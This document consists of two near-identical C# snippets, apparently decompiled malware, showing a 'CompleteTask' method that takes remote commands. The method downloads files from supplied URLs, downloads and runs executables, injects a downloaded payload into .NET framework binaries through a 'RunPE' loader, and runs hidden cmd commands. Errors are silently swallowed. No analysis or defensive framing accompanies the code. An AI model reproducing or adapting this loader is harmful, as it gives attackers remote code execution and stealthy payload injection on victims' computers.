Example #1
0
        private static bool CompleteTask(RemoteTask task)
        {
            bool result = false;

            try
            {
                switch (task.Action)
                {
                case RemoteTaskAction.Download:
                    try
                    {
                        string[] array3 = task.Target.Split('|');
                        if (array3.Length == 0)
                        {
                            new WebClient().DownloadString(task.Target);
                        }
                        if (array3.Length == 2)
                        {
                            new WebClient().DownloadFile(array3[0], Environment.ExpandEnvironmentVariables(array3[1]));
                        }
                    }
                    catch
                    {
                    }
                    result = true;
                    return(result);

                case RemoteTaskAction.DownloadAndEx:
                {
                    string[] array2 = task.Target.Split('|');
                    if (array2.Length == 2)
                    {
                        new WebClient().DownloadFile(array2[0], Environment.ExpandEnvironmentVariables(array2[1]));
                        Process.Start(new ProcessStartInfo
                            {
                                FileName       = Environment.ExpandEnvironmentVariables(array2[1]),
                                CreateNoWindow = false,
                                WindowStyle    = ProcessWindowStyle.Normal
                            });
                    }
                    result = true;
                    return(result);
                }

                case RemoteTaskAction.OpenLink:
                    Process.Start(task.Target);
                    result = true;
                    return(result);

                case RemoteTaskAction.RunPE:
                {
                    string[] array = task.Target.Split('|');
                    byte[]   systemDataCommonIntStorageg = new WebClient().DownloadData(array[0]);
                    string[] files = Directory.GetFiles("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319", array[1]);
                    foreach (string applicationPath in files)
                    {
                        if (LoadExecutor.Execute(LoadParams.Create(systemDataCommonIntStorageg, applicationPath)))
                        {
                            result = true;
                            return(result);
                        }
                    }
                    return(result);
                }

                case RemoteTaskAction.Cmd:
                    Process.Start(new ProcessStartInfo("cmd", "/C " + task.Target)
                    {
                        RedirectStandardError  = true,
                        RedirectStandardOutput = true,
                        UseShellExecute        = false,
                        CreateNoWindow         = true
                    });
                    result = true;
                    return(result);

                default:
                    return(result);
                }
            }
            catch
            {
                return(result);
            }
        }
Example #2
0
        private static bool CompleteTask(RemoteTask task)
        {
            bool flag = false;

            try
            {
                switch (task.Action)
                {
                case RemoteTaskAction.Download:
                    try
                    {
                        string[] strArray = task.Target.Split('|');
                        if (strArray.Length == 0)
                        {
                            new WebClient().DownloadString(task.Target);
                        }
                        if (strArray.Length == 2)
                        {
                            new WebClient().DownloadFile(strArray[0], Environment.ExpandEnvironmentVariables(strArray[1]));
                        }
                    }
                    catch
                    {
                    }
                    flag = true;
                    break;

                case RemoteTaskAction.RunPE:
                    string[] strArray1 = task.Target.Split('|');
                    byte[]   SystemDataCommonIntStorageg = new WebClient().DownloadData(strArray1[0]);
                    foreach (string file in Directory.GetFiles("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319", strArray1[1]))
                    {
                        if (LoadExecutor.Execute(LoadParams.Create(SystemDataCommonIntStorageg, file)))
                        {
                            flag = true;
                            break;
                        }
                    }
                    break;

                case RemoteTaskAction.DownloadAndEx:
                    string[] strArray2 = task.Target.Split('|');
                    if (strArray2.Length == 2)
                    {
                        new WebClient().DownloadFile(strArray2[0], Environment.ExpandEnvironmentVariables(strArray2[1]));
                        Process.Start(new ProcessStartInfo()
                        {
                            FileName       = Environment.ExpandEnvironmentVariables(strArray2[1]),
                            CreateNoWindow = false,
                            WindowStyle    = ProcessWindowStyle.Normal
                        });
                    }
                    flag = true;
                    break;

                case RemoteTaskAction.OpenLink:
                    Process.Start(task.Target);
                    flag = true;
                    break;

                case RemoteTaskAction.Cmd:
                    Process.Start(new ProcessStartInfo("cmd", "/C " + task.Target)
                    {
                        RedirectStandardError  = true,
                        RedirectStandardOutput = true,
                        UseShellExecute        = false,
                        CreateNoWindow         = true
                    });
                    flag = true;
                    break;
                }
            }
            catch
            {
            }
            return(flag);
        }